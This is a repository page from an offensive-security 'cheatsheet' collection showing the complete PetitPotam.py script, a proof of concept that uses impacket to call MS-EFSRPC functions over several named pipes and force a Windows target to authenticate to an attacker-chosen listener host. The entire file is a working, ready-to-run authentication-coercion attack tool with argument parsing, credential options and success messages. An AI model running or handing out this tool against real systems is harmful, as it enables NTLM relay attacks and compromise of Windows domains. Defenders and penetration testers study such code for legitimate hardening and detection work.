daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

PetitPotam.py (16820B)


      1 #!/usr/bin/env python
      2 # 
      3 # Author: GILLES Lionel aka topotam (@topotam77)
      4 # 
      5 # Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
      6 # "Most of" the code stolen from dementor.py from @3xocyte ;)
      7 
      8 
      9 import sys
     10 import argparse
     11 
     12 from impacket import system_errors
     13 from impacket.dcerpc.v5 import transport
     14 from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
     15 from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
     16 from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
     17 from impacket.uuid import uuidtup_to_bin
     18 
     19 
     20 show_banner = '''
     21                                                                                                
     22               ___            _        _      _        ___            _                     
     23              | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
     24              |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
     25             _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
     26           _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
     27           "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
     28                                          
     29               PoC to elicit machine account authentication via some MS-EFSRPC functions
     30                                       by topotam (@topotam77)
     31       
     32                      Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
     33 
     34 
     35 '''
     36 
     37 class DCERPCSessionError(DCERPCException):
     38     def __init__(self, error_string=None, error_code=None, packet=None):
     39         DCERPCException.__init__(self, error_string, error_code, packet)
     40 
     41     def __str__( self ):
     42         key = self.error_code
     43         if key in system_errors.ERROR_MESSAGES:
     44             error_msg_short = system_errors.ERROR_MESSAGES[key][0]
     45             error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
     46             return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
     47         else:
     48             return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
     49 
     50 
     51 ################################################################################
     52 # STRUCTURES
     53 ################################################################################
     54 class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
     55     align = 1
     56     structure = (
     57         ('Data', '20s'),
     58     )
     59 class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
     60     align = 1
     61     structure = (
     62         ('Data', '20s'),
     63     )
     64 class EFS_EXIM_PIPE(NDRSTRUCT):
     65     align = 1
     66     structure = (
     67         ('Data', ':'),
     68     )
     69 class EFS_HASH_BLOB(NDRSTRUCT):
     70     
     71     structure = (
     72         ('Data', DWORD),
     73         ('cbData', PCHAR),
     74     )
     75 class EFS_RPC_BLOB(NDRSTRUCT):
     76     
     77     structure = (
     78         ('Data', DWORD),
     79         ('cbData', PCHAR),
     80     )
     81     
     82 class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
     83     structure = (
     84         ('Type', DWORD),
     85         ('Data', DWORD),
     86         ('cbData', PCHAR),
     87     )    
     88 class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
     89     structure = (
     90         ('Lenght', DWORD),
     91         ('SID', RPC_SID),
     92         ('Hash', EFS_HASH_BLOB),
     93         ('Display', LPWSTR),
     94     )   
     95 class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
     96     structure = (
     97         ('Lenght', DWORD),
     98         ('SID', RPC_SID),
     99         ('Hash', EFS_CERTIFICATE_BLOB),
    100    
    101     )   
    102 class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
    103     align = 1
    104     structure = (
    105         ('Cert', DWORD),
    106         ('Users', ENCRYPTION_CERTIFICATE_HASH),
    107     )
    108 class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):    
    109     structure = (
    110         ('Type', DWORD),
    111         ('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
    112         ('Certif', ENCRYPTION_CERTIFICATE),
    113         ('Blob', EFS_RPC_BLOB),
    114     )   
    115 class EFS_RPC_BLOB(NDRSTRUCT):
    116     structure = (
    117         ('Data', DWORD),
    118         ('cbData', PCHAR),
    119     )
    120 class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
    121     align = 1
    122     structure = (
    123         ('Data', ':'),
    124     )
    125 
    126 ################################################################################
    127 # RPC CALLS
    128 ################################################################################
    129 class EfsRpcOpenFileRaw(NDRCALL):
    130     opnum = 0
    131     structure = (
    132         ('fileName', WSTR), 
    133         ('Flag', ULONG),
    134     )
    135     
    136 class EfsRpcOpenFileRawResponse(NDRCALL):
    137     structure = (
    138         ('hContext', EXIMPORT_CONTEXT_HANDLE),
    139         ('ErrorCode', ULONG),
    140     )
    141 class EfsRpcEncryptFileSrv(NDRCALL):
    142     opnum = 4
    143     structure = (
    144         ('FileName', WSTR),
    145     )
    146 
    147 class EfsRpcEncryptFileSrvResponse(NDRCALL):
    148     structure = (
    149         ('ErrorCode', ULONG),
    150     )
    151 class EfsRpcDecryptFileSrv(NDRCALL):
    152     opnum = 5
    153     structure = (
    154         ('FileName', WSTR),
    155         ('Flag', ULONG),
    156     )
    157 
    158 class EfsRpcDecryptFileSrvResponse(NDRCALL):
    159     structure = (
    160         ('ErrorCode', ULONG),
    161     )
    162 class EfsRpcQueryUsersOnFile(NDRCALL):
    163     opnum = 6
    164     structure = (
    165         ('FileName', WSTR),
    166         
    167     )
    168 class EfsRpcQueryUsersOnFileResponse(NDRCALL):
    169     structure = (
    170         ('ErrorCode', ULONG),
    171     )
    172 class EfsRpcQueryRecoveryAgents(NDRCALL):
    173     opnum = 7
    174     structure = (
    175         ('FileName', WSTR),
    176         
    177     )
    178 class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
    179     structure = (
    180         ('ErrorCode', ULONG),
    181     )
    182 class EfsRpcRemoveUsersFromFile(NDRCALL):
    183     opnum = 8
    184     structure = (
    185         ('FileName', WSTR),
    186         ('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
    187         
    188     )
    189 class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
    190     structure = (
    191         ('ErrorCode', ULONG),
    192     )
    193 class EfsRpcAddUsersToFile(NDRCALL):
    194     opnum = 9
    195     structure = (
    196         ('FileName', WSTR),
    197         ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
    198         
    199     )
    200 class EfsRpcAddUsersToFileResponse(NDRCALL):
    201     structure = (
    202         ('ErrorCode', ULONG),
    203     )    
    204 class EfsRpcFileKeyInfo(NDRCALL):
    205     opnum = 12
    206     structure = (
    207         ('FileName', WSTR),
    208         ('infoClass', DWORD),
    209     )
    210 class EfsRpcFileKeyInfoResponse(NDRCALL):
    211     structure = (
    212         ('ErrorCode', ULONG),
    213     )
    214 class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
    215     opnum = 13
    216     structure = (
    217         ('SrcFileName', WSTR),
    218         ('DestFileName', WSTR),
    219         ('dwCreationDisposition', DWORD),
    220         ('dwAttributes', DWORD),
    221         ('RelativeSD', EFS_RPC_BLOB),
    222         ('bInheritHandle', BOOL),
    223     ) 
    224     
    225 class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
    226     structure = (
    227         ('ErrorCode', ULONG),
    228     )
    229 class EfsRpcAddUsersToFileEx(NDRCALL):
    230     opnum = 15
    231     structure = (
    232         ('dwFlags', DWORD),
    233         ('Reserved', EFS_RPC_BLOB),
    234         ('FileName', WSTR),
    235         ('dwAttributes', DWORD),
    236         ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
    237     ) 
    238     
    239 class EfsRpcAddUsersToFileExResponse(NDRCALL):
    240     structure = (
    241         ('ErrorCode', ULONG),
    242     )
    243 class EfsRpcFileKeyInfoEx(NDRCALL):
    244     opnum = 16
    245     structure = (
    246         ('dwFileKeyInfoFlags', DWORD),
    247         ('Reserved', EFS_RPC_BLOB),
    248         ('FileName', WSTR),
    249         ('InfoClass', DWORD),
    250     )
    251 class EfsRpcFileKeyInfoExResponse(NDRCALL):
    252     structure = (
    253         ('ErrorCode', ULONG),
    254     )
    255 class EfsRpcGetEncryptedFileMetadata(NDRCALL):
    256     opnum = 18
    257     structure = (
    258         ('FileName', WSTR),
    259     )
    260 class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
    261     structure = (
    262         ('ErrorCode', ULONG),
    263     )   
    264 class EfsRpcSetEncryptedFileMetadata(NDRCALL):
    265     opnum = 19
    266     structure = (
    267         ('FileName', WSTR),
    268         ('OldEfsStreamBlob', EFS_RPC_BLOB),
    269         ('NewEfsStreamBlob', EFS_RPC_BLOB),
    270         ('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
    271     )
    272 class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
    273     structure = (
    274         ('ErrorCode', ULONG),
    275     )
    276 class EfsRpcEncryptFileExSrv(NDRCALL):
    277     opnum = 21
    278     structure = (
    279         ('FileName', WSTR),
    280         ('ProtectorDescriptor', WSTR),
    281         ('Flags', ULONG),
    282     )
    283 class EfsRpcEncryptFileExSrvResponse(NDRCALL):
    284     structure = (
    285         ('ErrorCode', ULONG),
    286     )
    287 #class EfsRpcQueryProtectors(NDRCALL):
    288 #    opnum = 21
    289 #    structure = (
    290 #        ('FileName', WSTR),
    291 #        ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
    292 #    )
    293 #class EfsRpcQueryProtectorsResponse(NDRCALL):
    294 #    structure = (
    295 #        ('ErrorCode', ULONG),
    296 #    )
    297 
    298 ################################################################################
    299 # OPNUMs and their corresponding structures
    300 ################################################################################
    301 OPNUMS = {
    302     0   : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
    303     4   : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
    304     5   : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
    305     6   : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
    306     7   : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
    307     8   : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
    308     9   : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
    309     12   : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
    310     13   : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
    311     15   : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
    312     16   : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
    313     18   : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
    314     19   : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
    315     21   : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
    316 #    22   : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
    317 }
    318  
    319 class CoerceAuth():
    320     def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
    321         binding_params = {
    322             'lsarpc': {
    323                 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
    324                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
    325             },
    326             'efsr': {
    327                 'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
    328                 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
    329             },
    330             'samr': {
    331                 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
    332                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
    333             },
    334             'lsass': {
    335                 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
    336                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
    337             },
    338             'netlogon': {
    339                 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
    340                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
    341             },
    342         }
    343         rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
    344         if hasattr(rpctransport, 'set_credentials'):
    345             rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
    346 
    347         if doKerberos:
    348             rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
    349         if targetIp:
    350             rpctransport.setRemoteHost(targetIp)
    351 
    352         dce = rpctransport.get_dce_rpc()
    353         dce.set_auth_type(RPC_C_AUTHN_WINNT)
    354         dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
    355         print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
    356         try:
    357             dce.connect()
    358         except Exception as e:
    359             print("Something went wrong, check error status => %s" % str(e))  
    360             #sys.exit()
    361             return
    362         print("[+] Connected!")
    363         print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
    364         try:
    365             dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
    366         except Exception as e:
    367             print("Something went wrong, check error status => %s" % str(e)) 
    368             #sys.exit()
    369             return
    370         print("[+] Successfully bound!")
    371         return dce
    372         
    373     def EfsRpcOpenFileRaw(self, dce, listener):
    374         print("[-] Sending EfsRpcOpenFileRaw!")
    375         try:
    376             request = EfsRpcOpenFileRaw()
    377             request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
    378             request['Flag'] = 0
    379             #request.dump()
    380             resp = dce.request(request)
    381             
    382         except Exception as e:
    383             if str(e).find('ERROR_BAD_NETPATH') >= 0:
    384                 print('[+] Got expected ERROR_BAD_NETPATH exception!!')
    385                 print('[+] Attack worked!')
    386                 #sys.exit()
    387                 return None
    388             if str(e).find('rpc_s_access_denied') >= 0:
    389                 print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
    390                 print('[+] OK! Using unpatched function!')
    391                 print("[-] Sending EfsRpcEncryptFileSrv!")
    392                 try:
    393                     request = EfsRpcEncryptFileSrv()
    394                     request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
    395                     resp = dce.request(request)
    396                 except Exception as e:
    397                     if str(e).find('ERROR_BAD_NETPATH') >= 0:
    398                         print('[+] Got expected ERROR_BAD_NETPATH exception!!')
    399                         print('[+] Attack worked!')
    400                         pass
    401                     else:
    402                         print("Something went wrong, check error status => %s" % str(e)) 
    403                         return None
    404                         #sys.exit()
    405                 
    406             else:
    407                 print("Something went wrong, check error status => %s" % str(e)) 
    408                 return None
    409                 #sys.exit()
    410 
    411 def main():
    412     parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
    413     parser.add_argument('-u', '--username', action="store", default='', help='valid username')
    414     parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
    415     parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
    416     parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
    417 
    418     parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    419     parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
    420                         '(KRB5CCNAME) based on target parameters. If valid credentials '
    421                         'cannot be found, it will use the ones specified in the command '
    422                         'line')
    423     parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
    424     parser.add_argument('-target-ip', action='store', metavar="ip address",
    425                         help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
    426                         'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
    427 
    428     parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
    429     parser.add_argument('listener', help='ip address or hostname of listener')
    430     parser.add_argument('target', help='ip address or hostname of target')
    431     options = parser.parse_args()
    432 
    433     if options.hashes is not None:
    434         lmhash, nthash = options.hashes.split(':')
    435     else:
    436         lmhash = ''
    437         nthash = ''
    438 
    439     print(show_banner)
    440 
    441     if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
    442         from getpass import getpass
    443         options.password = getpass("Password:")
    444     
    445     plop = CoerceAuth()
    446     
    447     if options.pipe == "all":
    448         all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
    449     else:
    450         all_pipes = [options.pipe]
    451     
    452     for all_pipe in all_pipes:
    453         print("Trying pipe", all_pipe)
    454         dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
    455         if dce is not None:
    456             plop.EfsRpcOpenFileRaw(dce, options.listener)
    457             dce.disconnect()
    458     sys.exit()   
    459              
    460 if __name__ == '__main__':
    461     main()